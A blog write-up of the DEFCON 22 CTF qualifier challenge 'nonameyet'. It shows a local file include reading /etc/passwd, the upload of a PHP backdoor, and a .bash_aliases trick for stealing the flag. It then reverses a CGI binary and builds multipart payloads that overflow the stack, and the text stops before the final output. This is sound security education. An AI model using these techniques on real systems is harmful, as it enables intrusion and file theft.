This is my second post in a series on DEFCON 22 CTF Qualifications. Last time I examined a problem called shitsco and gave a short overview of CTF. This week, I’d like to walk you through another DEFCON Qualification problem: “nonameyet” from HJ. This problem was worth 3 points and was opened late in the game. It was solved by 10 teams but, sadly, my team, Samurai, was not one of them. I managed to land this one about an hour after the game ended. It’s a common theme among CTF players that they don’t stop after the game ends. There’s always some measure of personal pride on the line when it comes to solving these problems, regardless of points earned.
The problem description for nonameyet is:
I claim no responsibility for the things posted here. nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me:80
There is no download link provided and the service is running on port 80. We are to assume that this is a web challenge. Browsing to the web application I see that it allows users to upload photos to a /photos directory, hence the disclaimer in the problem description. Whenever a file upload capability is involved in a CTF web challenge, you can bet that it will be a source of a vulnerability. I have yet to see a web application problem in a CTF that provided a counter example.
One of the URLs for the web application looked like this:
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=xxxxxxx
When I see page=xxxxxxx referencing a filename there is potential for a local file include vulnerability. Indeed, if I visit:
http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php?page=/etc/passwd
I am able to view the shadowed password file on the server. So far, so good. Unfortunately, asking for the flag file directly yields an error. Of course, a 3 point problem would never be so easy in this CTF. Let’s turn our attention back to the file upload.
The page with the HTML for the upload form is upfile.html. This is loaded with a “?page=upfile.html” on the end of the URL. Examining the HTML source code on this file shows that our form data is submitted to /cgi-bin/nonameyet.cgi. We can recover this CGI program with a simple wget command:
$ wget http://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me/index.php\?page\=cgi-bin/nonameyet.cgi $ file nonameyet.cgi nonameyet.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
You can find a copy of nonameyet.cgi here
More interestingly, it is also possible to use the upload form to upload anything at all. This just begs to have a PHP backdoor uploaded to the system. We put a simple PHP file manager onhttp://nonameyet_27d88d682935932a8b3618ad3c2772ac.2014.shallweplayaga.me...and used that to look around the directory structure and permissions placed on the files. Specifically, we could see that the /home/nonameyet/flag file was owned by nonameyet:nonameyet. I need to gain execution as this user to retrieve the flag. The web server executing the PHP scripts (including our backdoor) was running as the web server user.
It is important to note that getting a shell on a box provides an opportunity for many new attack vectors. For this problem, it was actually solved by other teams editing the file /home/nonameyet/.bash_aliases to include an alias that would copy the /home/nonameyet/flag file to /tmp with world readable permissions. The next time anyone popped a shell on this box and ran “ls” they would hand the flag over to another team. This was a very clever and devious thing to do—and in some sense, this is what CTF is all about.
I believe that having this file editable was an oversight on the part of the organizers. This file should not have been writeable. It was a great advantage for the teams that realized this mistake because they were free to look at other problems while waiting for someone else to come along and solve it the “legitimate” way. Furthermore, anyone that thought to look in /tmp before the flag was cleaned up could score points too. Lesson learned: Always poke around more and possibly set up some sort of monitoring for these kinds of issues. I wish I had thought of this first!
Binary Analysis
I went straight for the binary in the problem. The binary was not marked SUID so there must be some webserver magic launching the CGI program as the nonameyet user. Indeed, HJ confirmed that he was using a modified version of suexec after the game. I have already run a file command to see that the CGI program is an ELF 32-bit program. My usual next step is to run strings.
$ strings nonameyet.cgi …
I see imports for C functions related to string parsing and file operations including dangerous APIs like strcpy() and sprintf(). I see a list of the errors the CGI program will return and input variables like photo, time, and date. There are some chunks of HTML and HTTP headers too. So far, it is a fairly typical CGI program. If you try to run it you will get an error 900 printed out to you with HTML tags. A quick strace shows that it is looking for the photos directory. Create this directory and you will move on to the program prompting you for input. Just enter ^D to signal an end of file and you will receive an error 902. Back to the strings. One string that really caught my eye was the “cgilib” string. This is indicative of a cgilib library. There were other strings that pointed to a library as well, such as the “/tmp/cgilibXXXXXX” string.
Cgilib is a “library [that] provides a simple and lightweight interface to the Common Gateway Interface (CGI) for C and C++ programs. Its purpose is to provide an easy to use interface to CGI for fast CGI programs written in the C or C++ programming language.” It is also an open source project. We can see from the output of the file command that the nonameyet.cgi program is dynamically linked, so let’s take a quick peek with ldd to see if cgilib is statically compiled into the binary or dynamically loaded at runtime from our system library.
$ ldd nonameyet.cgi linux-gate.so.1 => (0xb77dd000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761e000) /lib/ld-linux.so.2 (0xb77de000)
We do not see cgilib on the list returned form ldd, so the cgilib library is statically linked. That is to say that if the cgilib binary is used in this program, it must have been compiled into the binary, which means that I could have source code for a good chunk of this problem. That would be a great aid in the reverse engineering process. One way to match up statically compiled libraries into CTF binaries is to use the IDA Pro FLAIR tool to generate a FLIRT signature that can be applied to the binary.
Which version of the library should I grab? The reverse lookup on the IP address used for this problem pointed to an Amazon EC2 server. I created an EC2 instance running the latest version of Ubuntu and applied all updates. It is important to mirror the game box as closely as possible. It is even better if we can run from the same ISP. I installed cgilib with this command:
$ sudo apt-get install cgilib
This added a file in /usr/lib/cgilib.a. I pulled this file back to my analysis machine with FLAIR installed and ran:
C:\> pelf -a libcgi.a C:\> sigmake -n "libcgi" libcgi.pat libcgi.sig
The first command “pelf” will parse the library file and generate patterns for all exported symbols. The output of the command is put into the libcgi.pat file. The next “sigmake” command will read from the libcgi.pat file and create a binary representation that is output in the libcgi.sig file. This sig file can then be copied into the IDA Pro /sig directory and applied to a live database. All of this completely failed. No symbols were applied. I have not identified why. Bummer.
Thankfully, the library is very simple and almost all of the functions contain unique strings. We can download the source code for libcgi, find a function we are interested in, find a string used in that function, then find the same string in IDA Pro. Once we find the string in IDA we can press ‘x’ while the cursor is positioned on that string to find cross-references. If we follow the (hopefully) single cross-reference that exists, we can then name the function referencing that string as it is named in the source code for cgilib. It is a bit slower than FLIRT signatures but we will be able to flag a significant portion of the program as “uninteresting” right away. For example, if we look at the cgiReadFile function in the cgilib source code cgilib-0.7/cgi.c:
char *cgiReadFile (FILE *stream, char *boundary) { char *crlfboundary, *buf; size_t boundarylen; int c; unsigned int pivot; char *cp; char template[]= "/tmp/cgilibXXXXXX"; FILE *tmpfile; int fd;
We can then find the /tmp/cgilibXXXXXX string in IDA Pro with a “search sequence of bytes”.
This will fail! As it turns out, there is a compiler optimization used on this function causing the string to be loaded as an immediate value on the stack. This is also sometimes used in programs that want to make string analysis more difficult on the reverse engineer. Indeed, if we go back and look at the string output our first clue is there:
~$ strings nonameyet.cgi … /tmp /cgi libX XXXXf …
They are broken up into groups of 4. This is because they are referenced as immediate DWORD values being moved into memory. Let’s repeat the search using a smaller string. If we search for “/tmp” we see exactly one spot in the binary where this appears. Here is how IDA shows the string data being loaded onto the stack:
We can now go to the top of this function and name it (‘n’ key) “cgiReadFile.” If you go through the rest of cgi.c you will end up with the following functions named:
The function named cgi_print (my name, not the cgilib name) is frequently called to output error messages that would be useful for debugging purposes. A quick look at this function reveals that if we set dword_804f0dc (normally 0 in the .bss) to something greater than arg0 (I assume this is a logging level?) we can get debugging output from the binary. In gdb the command to do this is:
int __usercall main@<eax>(char *a1@<esi>) { int result; // eax@2 void *v2; // eax@15 int v3; // [sp+1Ch] [bp-4Ch]@1 int v4; // [sp+20h] [bp-48h]@9 int v5; // [sp+24h] [bp-44h]@5 int v6; // [sp+28h] [bp-40h]@9 int v7; // [sp+2Ch] [bp-3Ch]@5 int v8; // [sp+30h] [bp-38h]@9 int v9; // [sp+34h] [bp-34h]@5 int v10; // [sp+38h] [bp-30h]@9 int v11; // [sp+3Ch] [bp-2Ch]@5 int v12; // [sp+40h] [bp-28h]@9 int v13; // [sp+44h] [bp-24h]@5 int v14; // [sp+48h] [bp-20h]@9 size_t file_size; // [sp+4Ch] [bp-1Ch]@1 const void *v16; // [sp+50h] [bp-18h]@1 void *s_cgi; // [sp+54h] [bp-14h]@1 int photo; // [sp+58h] [bp-10h]@1 int v19; // [sp+5Ch] [bp-Ch]@1 v16 = 0; file_size = 0; s_cgi = 0; photo = 0; v19 = 0; memset(&v3, 0, 0x30u); s_cgi = cgiInit(); v19 = open("./photos", 0); if ( v19 == -1 ) { write_headers(); printf("<p>ERROR: 900</p>"); result = 0; } else if ( fchdir(v19) == -1 ) { write_headers(); printf("<p>ERROR: 901</p>"); close(v19); result = 0; } else { close(v19); photo = cgiGetFile((int)s_cgi, "photo"); v3 = cgiGetValue((int)s_cgi, "base"); v7 = cgiGetValue((int)s_cgi, "time"); v9 = cgiGetValue((int)s_cgi, "date"); v11 = cgiGetValue((int)s_cgi, "pixy"); v13 = cgiGetValue((int)s_cgi, "pixx"); v5 = cgiGetValue((int)s_cgi, "genr"); if ( photo ) { if ( !v3 ) v3 = *(_DWORD *)(photo + 8); v4 = urldecode(v3); v8 = urldecode(v7); v6 = urldecode(v5); v10 = urldecode(v9); v12 = urldecode(v11); v14 = urldecode(v13); v16 = read_file(*(char **)(photo + 12), (int)&file_size); if ( v16 ) { if ( file_size ) { if ( (interesting((int)&file_size, a1, (int)&v3) & 0x80000000) == 0 ) { v2 = base64encode(v3, v4); combine_strings("Cookie", v2); write_headers(); cgiFree(s_cgi); v19 = open((const char *)v3, 66, 420); if ( v19 == -1 ) { printf("<p>ERROR: 906</p>", v3); } else { write(v19, v16, file_size); close(v19); } printf("<meta http-equiv='refresh' content='0;url=../thanks.php'>"); result = 0; } else { write_headers(); printf("<p>ERROR: 905</p>"); result = 0; } } else { write_headers(); printf("<p>ERROR: 904. Why the hell would you give me an empty file</p>"); result = 0; } } else { write_headers(); printf("<p>ERROR: 903</p>"); result = 0; } } else { write_headers(); printf("<p>ERROR: 902</p>"); result = 0; } } return result; }
When looking at a CTF problem, you should always be asking yourself “What is happening with my input?” Most of the parsing happens right up front in the cgiInit() function. This function will read and parse CGI input and set up the s_cgi structure. This function first checks for the environment variable CONTENT_TYPE. CGI input is usually passed via environment variables and stdin from the webserver. If this environment variable is not set then the program will read variables from stdin.
If the CONTENT_TYPE variable is set to “multipart/form-data” it will parse out a boundary condition from the variable and call off into the cgiReadMultipart() function before returning. If the CONTENT_TYPE variable is anything else, the program then looks for the REQUEST_METHOD and CONTENT_LENGTH environment variables.
For a REQUEST_METHOD of “GET” the environment variable QUERY_STRING is parsed and for a REQUEST_METHOD of “POST” stdin is parsed. If none of these are specified then the cgiReadVariables() function will prompt for input from the command line. This is very handy for quick testing. The cgiInit() function will also parse cookie information. All of this was learned by reading the cgilib source code for cgiInit().
We have five code paths for parsing our input: multipart, get, post, stdin, and cookies. All of these are standard in cgilib. Which code path should we explore first? Let’s start with the simplest form, no environment variables, and data parsed directly from stdin.
$ python -c "print 'asdf=asdf'" | ./nonameyet.cgi (offline mode: enter name=value pairs on standard input) Content-type: text/html<p>ERROR: 902</p>
Here we just set a variable asdf = asdf and we are returned error 902, the same as if we passed in no input. Looking back to main() we can easily spot where “ERROR: 902” is printed inside of an else block. Look up to the if condition on that else block and we see that this is because photo = cgiGetFile((int)s_cgi, “photo”); returned NULL. Setting the photo variable from stdin also produces the same error. The cgiGetFile() call did not find a variable called photo registered in the s_cgi structure. There is another interesting behavior here if we set the same variable twice:
$ python -c "print 'asdf=asdf\nasdf=asdf'" | ./nonameyet.cgi (offline mode: enter name=value pairs on standard input) Segmentation fault (core dumped)
Crashes are usually really good in a CTF competition. Going into this with a debugger we find:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ r Starting program: /home/bool/nonameyet.cgi (offline mode: enter name=value pairs on standard input) asdf=asdf asdf=asdf Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x4 ECX: 0xb7fcf448 --> 0x8050080 --> 0x66 ('f') EDX: 0x8050078 ("asdf\nasdf") ESI: 0x0 EDI: 0x805008d --> 0x0 EBP: 0xbffff668 --> 0xbffff698 --> 0xbffff708 --> 0x0 ESP: 0xbffff590 --> 0x0 EIP: 0x804bb5d (mov edx,DWORD PTR [eax+0x4]) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804bb52: shl eax,0x2 0x804bb55: add eax,DWORD PTR [ebp-0x84] 0x804bb5b: mov eax,DWORD PTR [eax] => 0x804bb5d: mov edx,DWORD PTR [eax+0x4] 0x804bb60: mov eax,DWORD PTR [ebp-0x98] 0x804bb66: shl eax,0x2 0x804bb69: add eax,DWORD PTR [ebp-0x84] 0x804bb6f: mov eax,DWORD PTR [eax] [------------------------------------stack-------------------------------------] 0000| 0xbffff590 --> 0x0 0004| 0xbffff594 --> 0x804d483 ("%s\n%s") 0008| 0xbffff598 --> 0x8050058 --> 0x0 0012| 0xbffff59c --> 0x8050088 --> 0x8050050 --> 0x0 0016| 0xbffff5a0 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f 0020| 0xbffff5a4 --> 0x3 0024| 0xbffff5a8 --> 0x0 0028| 0xbffff5ac --> 0xffffffff [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804bb5d in ?? () gdb-peda$
I should mention that I am using PEDA with GDB. It makes exploit development tasks a lot easier than standard GDB. I encourage you to check it out and explore how it works. Anyway, this is a NULL pointer dereference crash. The register EAX is being dereferenced. EAX is NULL. As a result, the program sends a signal 11 or SIGSEGV and we terminate execution. The buggy code seems to be in cgilib/cgi.c on line 644 when they attempt to do:
644: cgiDebugOutput (1, "%s: %s", result[i]->name, result[i]->value);
It looks to me like they used the incorrect index into the result array. There is another index counter called k used earlier in the code that accounts for duplicate variable name. My guess is that this line was simply copy and pasted from line 630 and the developers did not change ‘i’ to ‘k’. Either way, I am not sure if a web server would ever generate input to a CGI program like this, and unless we can somehow allocate the NULL address space on the remote server, this is not likely to be an interesting crash when solving the CTF problem. Interesting, but ultimately useless.
Back to our problem. The photo variable is NULL. Looking back in cgi.c source code for cgiGetFile() it is easy to spot that this information comes from s_cgi->files. Ok, that makes sense. However, the only code path that sets this information is when we have a CONTENT_TYPE of “multipart/form-data”. This was discovered with a quick grep for “->files” in the cgilib source code to find something that writes to this variable. The one place this happens is in the cgiReadMultipart() function. Let’s jump into feeding this program multipart data.
I used Wireshark to perform a packet capture on the data that was being sent by my browser when submitting a form to nonameyet.cgi. After all, the browser should already generate everything we need. With a quick copy and paste and setting up lines to end with \r\n instead of \n I now have the following setup to get multipart data parsed by the CGI program:
$ export CONTENT_TYPE="Content-Type: multipart/form-data; boundary=---------------------------13141138687192" $ cat formdata -----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="test" Content-Type: application/octet-stream test -----------------------------13141138687192--
Remember each line ends with \r\n. After I set up the formdata file and my environment variable, let’s see if we can get past that error 902 output. I will also turn on the debug output with the debugger after breaking on main():
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ break *0x0804906D Breakpoint 1 at 0x804906d gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Breakpoint 1, 0x0804906d in ?? () gdb-peda$ set {int}0x804F0DC=1000 gdb-peda$ c Continuing. Content-Type: Content-Type: multipart/form-data; boundary=---------------------------13141138687192 Read line '-----------------------------13141138687192' Read line 'Content-Disposition: form-data; name="photo"; filename="test"' Found field name photo Found filename test Read line 'Content-Type: application/octet-stream' Found mime type application/octet-stream Read line '' Wrote photo (test) to file: /tmp/cgilibWFDOKJ Read line '-----------------------------13141138687192' photo found as test Content-type: text/html Cookie: YmFzZQA=<meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 7579) exited normally]
That looks pretty good! In truth, it took a bit of playing around to get to this point. Now we have everything specified in our form being read. The file contents were written and parsed and if we look in the /photos directory we see a file named base with the contents test:
$ ls photos/ base $ cat photos/base test
Where is the bug? If you look back up in the main() function you will see a subroutine I labeled “interesting”. The only way to get to this function is to have a valid photo returned from cgiGetFile(). Here is the decompiled source code for the interesting function:
unsigned int __usercall interesting@<eax>(int edi0@<edi>, char *a2@<esi>, int a1) { unsigned int result; // eax@1 void *v4; // esp@2 char v5; // bl@3 int v6; // edx@3 int v7; // ecx@3 void *v8; // esp@4 int v9; // ecx@7 unsigned int v10; // ecx@8 void *v11; // edi@9 unsigned int v12; // ecx@11 void *v13; // edi@12 unsigned int v14; // ecx@14 void *v15; // edi@15 unsigned int v16; // ecx@17 void *v17; // edi@18 unsigned int v18; // ecx@20 void *v19; // edi@21 int v20; // eax@25 int v21; // [sp+0h] [bp-20h]@2 unsigned int counter_1; // [sp+8h] [bp-18h]@1 const void *esp_ptr; // [sp+Ch] [bp-14h]@2 int file_name_size; // [sp+10h] [bp-10h]@2 int filename; // [sp+14h] [bp-Ch]@2 int type_mult_2; // [sp+18h] [bp-8h]@2 int counter; // [sp+1Ch] [bp-4h]@1 result = 0; counter = 0; counter_1 = 0; if ( a1 ) { file_name_size = *(_DWORD *)(a1 + 4); type_mult_2 = 2 * file_name_size; v4 = alloca(2 * file_name_size); esp_ptr = &v21; filename = *(_DWORD *)a1; while ( 1 ) { while ( 1 ) { v5 = *(_BYTE *)(counter + filename); v6 = counter++ + filename + 1; v7 = type_mult_2; if ( type_mult_2 <= (signed int)counter_1 ) { v8 = alloca(type_mult_2); qmemcpy(&v21, &v21, type_mult_2); a2 = (char *)&v21 + v7; edi0 = (int)((char *)&v21 + v7); esp_ptr = &v21; type_mult_2 *= 2; } if ( v5 != '%' || *(_BYTE *)(v6 + 4) != '%' ) { *((_BYTE *)esp_ptr + counter_1++) = v5; goto LABEL_24; } v9 = *(_DWORD *)v6; v6 += 5; counter += 5; if ( v9 != 'rneG' ) break; v10 = *(_DWORD *)(a1 + 12); a2 = *(char **)(a1 + 8); if ( a2 ) { v11 = (char *)esp_ptr + counter_1; counter_1 += v10; qmemcpy(v11, a2, v10); a2 += v10; edi0 = (int)((char *)v11 + v10); LABEL_24: if ( file_name_size <= counter ) { v20 = mmap(v6, edi0, (int)a2); qmemcpy((void *)v20, esp_ptr, counter_1); *(_DWORD *)a1 = v20; result = counter_1; *(_DWORD *)(a1 + 4) = counter_1; return result; } } } switch ( v9 ) { case 'emiT': v12 = *(_DWORD *)(a1 + 20); a2 = *(char **)(a1 + 16); if ( a2 ) { v13 = (char *)esp_ptr + counter_1; counter_1 += v12; qmemcpy(v13, a2, v12); a2 += v12; edi0 = (int)((char *)v13 + v12); goto LABEL_24; } break; case 'etaD': v14 = *(_DWORD *)(a1 + 28); a2 = *(char **)(a1 + 24); if ( a2 ) { v15 = (char *)esp_ptr + counter_1; counter_1 += v14; qmemcpy(v15, a2, v14); a2 += v14; edi0 = (int)((char *)v15 + v14); goto LABEL_24; } break; case 'YxiP': v16 = *(_DWORD *)(a1 + 36); a2 = *(char **)(a1 + 32); if ( a2 ) { v17 = (char *)esp_ptr + counter_1; counter_1 += v16; qmemcpy(v17, a2, v16); a2 += v16; edi0 = (int)((char *)v17 + v16); goto LABEL_24; } break; case 'XxiP': v18 = *(_DWORD *)(a1 + 44); a2 = *(char **)(a1 + 40); if ( a2 ) { v19 = (char *)esp_ptr + counter_1; counter_1 += v18; qmemcpy(v19, a2, v18); a2 += v18; edi0 = (int)((char *)v19 + v18); goto LABEL_24; } break; } } } return result; }
There are a few things that jump out at me right away. The first is the use of the alloca() function. The man page for alloca states “The alloca() function allocates size bytes of space in the stack frame of the caller. This temporary space is automatically freed when the function that called alloca() returns to its caller.” Thus, we are dynamically growing the stack based upon file_name_size. This function call ends up being just a “sub esp” instruction in the assembly code, so don’t expect to see an import to alloca in the ELF header.
The next thing I notice are the case statements looking for 4 character string patterns of: Genr, Time, Date, PixY, and PixX. IDA shows these in little endian (backwards) format. The program checks for % characters in the filename input that are followed by another % character 4 character later. Thus, we are looking for DOS style variables like %Genr%. It turns out all of these variables are passed in as the third argument to the interesting function.
They are built into a structure that is 0x30 bytes long. First the sizes are built with calls to v3 = cgiGetValue((int)s_cgi, “base”); and the like. Then the strings for the variables are built immediately before the sizes. The IDA decompilation of the main function does not identify this as a structure. However, the memset(&v3, 0, 0x30u); and the fact that only v3 is passed into a function that clearly needs all of these variables is a big clue that this is a structure, or an array of structures, instead of 12 individual variables. The v3 variable in main() (or a1 in interesting()) ends up looking like this:
struct v3 { char * filename; unsigned int file_name_size; char * genr_str; unsigned int genr_size; char * time_str; unsigned int time_size; char * date_str; unsigned int date_size; char * pixy_str; unsigned int pixy_size; char * pixx_str; unsigned int pixx_size; };
Have you spotted the bug yet? If not, go back to what is happening with our input in the interesting function. We pass this structure into our function, alloca (file_name_size * 2) and then what? We start copying into this array. It’s the qmemcpy calls that are in question here. These are presented in assembly as rep movsb instructions. Ask yourself how much data is being copied and what is the size of the destination buffer? Do you control the data being copied into the buffer? What variables are being updated in the loops to affect the starting offsets of the copy? Study the code and see if you can answer some of these questions. Do it now, I will wait.
Vulnerability Discovery
What you might notice is that after the program takes the length of file_name, doubles it, and allocates that amount of space on the stack, it will then proceed to copy in the values for the other variables from the structure. For example, if I set the filename “foobar” (name=”photo”; filename=”foobar” in my formdata file) and then if I set the Time input to be AAAAAA the CGI program will allocate 14 bytes on the stack (length of “foobar\0” * 2) and then copy in the value of the %Time% variable, which would also be 6 bytes. This will be clearer when looking at the actual input file.
The bug comes in if we make the length of Time larger than the length of file_name while having file_name reference %Time%. There is no check to see if we have enough stack space left. This is a stack overflow. The only issue is that if we try to encode a %Time% variable directly into the file_name then the program never gets to the interesting function! For clarity, this is what the formdata file looks like now for testing:
-----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%Time%" Content-Type: application/octet-stream file contents -----------------------------13141138687192 -----------------------------13141138687192 Content-Disposition: form-data; name="Time" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -----------------------------13141138687192--
The %Time% bit does not parse correctly and we miss the check for % in the filename. This is because the variables are being URL decoded. If I set it to %25Time%25 it will decode properly as %Time% (0x25 = ‘%’). The other problem I ran into with this input is that although the %Time% variable is case sensitive when the time pointers and sizes are actually set in the structure it is looked up with lower case only. So, name=”time” and filename=”%25Time%25” will produce the following crash:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xb7fd9000 --> 0x0 EBX: 0x1000 ECX: 0x41414141 ('AAAA') EDX: 0x80500a6 --> 0x0 ESI: 0x41414141 ('AAAA') EDI: 0xb7fd9000 --> 0x0 EBP: 0xbffff638 ('A'<repeats 46 times>) ESP: 0xbffff60a ('A'<repeats 92 times>) EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804cf9a: mov edi,eax 0x804cf9c: mov esi,DWORD PTR [ebp-0x14] 0x804cf9f: mov ecx,DWORD PTR [ebp-0x18] => 0x804cfa2: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0x804cfa4: mov ebx,DWORD PTR [ebp+0x8] 0x804cfa7: mov DWORD PTR [ebx],eax 0x804cfa9: mov eax,DWORD PTR [ebp-0x18] 0x804cfac: mov DWORD PTR [ebx+0x4],eax [------------------------------------stack-------------------------------------] 0000| 0xbffff60a ('A'<repeats 92 times>) 0004| 0xbffff60e ('A'<repeats 88 times>) 0008| 0xbffff612 ('A'<repeats 84 times>) 0012| 0xbffff616 ('A'<repeats 80 times>) 0016| 0xbffff61a ('A'<repeats 76 times>) 0020| 0xbffff61e ('A'<repeats 72 times>) 0024| 0xbffff622 ('A'<repeats 68 times>) 0028| 0xbffff626 ('A'<repeats 64 times>) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0804cfa2 in ?? () gdb-peda$
Huzzah! We’ve exercised the stack overflow and crashed on a memcpy(). If we can get the function to return we will have control over EIP. We are actually really close to the function return at this point as well. The ret instruction is at 0x0804CFB0, just a short 14 bytes away.
Let’s see if we can get around this crash. The rep movs instruction will move ECX number of bytes from the pointer in ESI to the pointer in EDI. Here, ECX is set to 0x41414141. Clearly we overwrote the size used in this copy. We could look at the stack frame and do the math with the allocas to figure out exactly which offset the counter is coming from, but it is faster to just put in a string pattern in the time variable.
We run it again with formdata of:
$ cat formdata -----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%25Time%25" Content-Type: application/octet-stream file contents -----------------------------13141138687192 Content-Disposition: form-data; name="time" AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV -----------------------------13141138687192—
Debugging this gives us the following:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xb7fd9000 --> 0x0 EBX: 0x1000 ECX: 0x47474646 ('FFGG') EDX: 0x80500a6 --> 0x0 ESI: 0x48484747 ('GGHH') EDI: 0xb7fd9000 --> 0x0 EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV") ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV") EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]) EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804cf9a: mov edi,eax 0x804cf9c: mov esi,DWORD PTR [ebp-0x14] 0x804cf9f: mov ecx,DWORD PTR [ebp-0x18] => 0x804cfa2: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0x804cfa4: mov ebx,DWORD PTR [ebp+0x8] 0x804cfa7: mov DWORD PTR [ebx],eax 0x804cfa9: mov eax,DWORD PTR [ebp-0x18] 0x804cfac: mov DWORD PTR [ebx+0x4],eax [------------------------------------------------------------------------------] Stopped reason: SIGSEGV 0x0804cfa2 in ?? () gdb-peda$
We can go back to our input file and replace the “FFGG” with NULLS so that no copy is executed. My first attempt was to inject raw NULL bytes into this file. I ran the following python script to get the job done. It’s not pretty, but it worked. I could also have used vi with %!xxd and %!xxd –r or any other hex editor to makes these changes.
$ python Python 2.7.5+ (default, Feb 27 2014, 19:39:55) [GCC 4.8.1] on linux2 Type "help", "copyright", "credits" or "license" for more information.>>> a=open("formdata","rb")>>> t=a.read()>>> t.find("FFGG") 286>>> l=t.find("FFGG")>>> t[l:l+4]'FFGG'>>> def strow(instr, owstr, offset): ... return instr[:offset] + owstr + instr[offset+len(owstr):] ...>>> p=strow(t, "\0\0\0\0", 286)>>> y=open("file2","wb")>>> y.write(p)>>> y.close()
While the python script properly modified the file, this technique did not work. ECX, instead of NULL, was set to 0x2d2d2d2d or “—-“. This value is coming from our boundary on the multipart data. I assumed that because we used NULL bytes that they must be causing early termination of string parsing routines. What if we URL encode the NULL bytes?
Setting the time variable to “AAAABBBBCCCCDDDDEEEEFF%00%00%00%00GGHHHHIIII” and debugging once again yields:
$ gdb ./nonameyet.cgi Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done. gdb-peda$ set args < formdata gdb-peda$ r Starting program: /home/bool/nonameyet.cgi < formdata Content-type: text/html Cookie: AA==<p>ERROR: 906</p><meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 1834) exited normally] Warning: not running or target is remote gdb-peda$
Well that was a step in the wrong direction! There is no crash now. We are seeing the ERROR: 906 coming back, which is what happens when the photo file being uploaded fails to open. The cookie coming back to us in the HTTP header is the name of this file. The base64 decoding of “AA==“ is 0x00, so it is understandable that that file did not open. I think we are running into similar issues with the string parsing again. This is as far as I got during the actual CTF.
It was not until afterwards that it was pointed out to me that we can double URL encode the NULL values. If URL encoding once makes 0x00 = %00 then URL encoding twice will be 0x00 = %00 = %25%30%30. With my formdata file now looking like this:
-----------------------------13141138687192 Content-Disposition: form-data; name="photo"; filename="%25Time%25" Content-Type: application/octet-stream file contents -----------------------------13141138687192 Content-Disposition: form-data; name="time" AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP -----------------------------13141138687192—
We get a debugger output of:
